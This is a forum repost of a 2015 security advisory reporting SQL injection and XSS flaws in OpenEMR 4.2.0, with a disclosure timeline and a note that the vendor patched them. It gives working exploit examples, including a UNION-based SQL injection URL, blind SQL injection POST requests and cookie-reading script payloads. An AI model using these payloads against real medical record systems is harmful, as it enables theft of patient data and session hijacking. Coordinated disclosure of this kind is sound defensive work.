Aerosol Posted March 24, 2015 Report Posted March 24, 2015 Advisory: Multiple reflecting/stored XSS- and SQLi-vulnerabilities inopenEMR v.4.2.0Advisory ID: SROEADV-2015-08Author: Steffen RösemannAffected Software: openEMR v.4.2.0 (Release-date: 28th Dec 2014)Vendor URL: http://www.open-emr.orgVendor Status: patchedCVE-ID: to be assigned after release of advisory via OSS list==========================Vulnerability Description:==========================Electronic health records and medical practice management applicationOpenEMR 4.2.0 suffers from multiple SQL injection and reflecting XSSvulnerabilities.==================Technical Details:==================All below described vulnerabilities can only be exploited by an alreadyauthenticated user.=====================SQL injection vulnerabilities=====================An SQL injection vulnerability can be found in the facility_admin.php fileand can be abused by an attacker via the fid-parameter.Exploit-Example:http://{TARGET}/interface/usergroup/facility_admin.php?fid=3%27+and+1=2+union+select+1,user%28%29,3,4,version%28%29,database%28%29,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+--+Another (blind) SQL injection vulnerability resides in theappt_encounter_report.php an can be abused by an attacker by modifying athe form_facility-parameter in a POST-request.Exploit-Example:POST /openemr-4.2.0/interface/reports/appt_encounter_report.php HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101Firefox/31.0 Iceweasel/31.3.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer:http://localhost/openemr-4.2.0/interface/reports/appt_encounter_report.phpCookie: OpenEMR=p30d0tu19a9r04tjgnuu1oqqq4Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 120form_facility=3%27+AND+substring(version(),1,1)=%275&form_from_date=2015-01-13&form_to_date=2015-01-13&form_refresh=trueThe last (blind) SQL injection vulnerability resides in theappointments_report.php-file and can be as well abused by an attacker viacrafting own SQL statements in the form_facility-parameter in a POSTrequest.Exploit-Example:POST /openemr-4.2.0/interface/reports/appointments_report.php HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101Firefox/31.0 Iceweasel/31.3.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer:http://localhost/openemr-4.2.0/interface/reports/appointments_report.phpCookie: OpenEMR=p30d0tu19a9r04tjgnuu1oqqq4Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 199form_facility=3%27+and+substring(version(),1,1)=%274&form_provider=&form_from_date=2015-01-13&form_to_date=2015-01-13&form_apptstatus=&form_apptcat=ALL&form_orderby=comment&patient=&form_refresh=true==============XSS vulnerabilities==============A reflecting XSS-vulnerability can be found in user_admin.php via theid-parameter.Exploit-Example:http://{TARGET}interface/usergroup/user_admin.php?id=4%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3EA stored XSS vulnerability resides in add_edit_event.php via theinput-field "form_comments" and is executed in appointments_report.php.Exploit-Example:<script>alert(document.cookie)</script>=========Solution:=========Install the latest patch (released 21st March 2015, see [3]).====================Disclosure Timeline:====================12/13-Jan-2015 – found the vulnerability13-Jan-2015 - informed the developers13-Jan-2015 – release date of this security advisory [without technicaldetails]13-Jan-2015 - vendor responded and announced a patch20-Jan-2015 - vendor provides fix for testing purposes20-Jan-2015 - agreement to release technical details when patch has beenreleased21-Mar-2015 – release date of the patch22-Mar-2015 – release date of this security advisory22-Mar-2015 – send to FullDisclosure========Credits:========Vulnerabilities found and advisory written by Steffen Rösemann.===========References:===========[1] http://www.open-emr.org[2] http://sroesemann.blogspot.de/2015/01/sroeadv-2015-08.html[3] http://www.open-emr.org/wiki/index.php/OpenEMR_PatchesSource Quote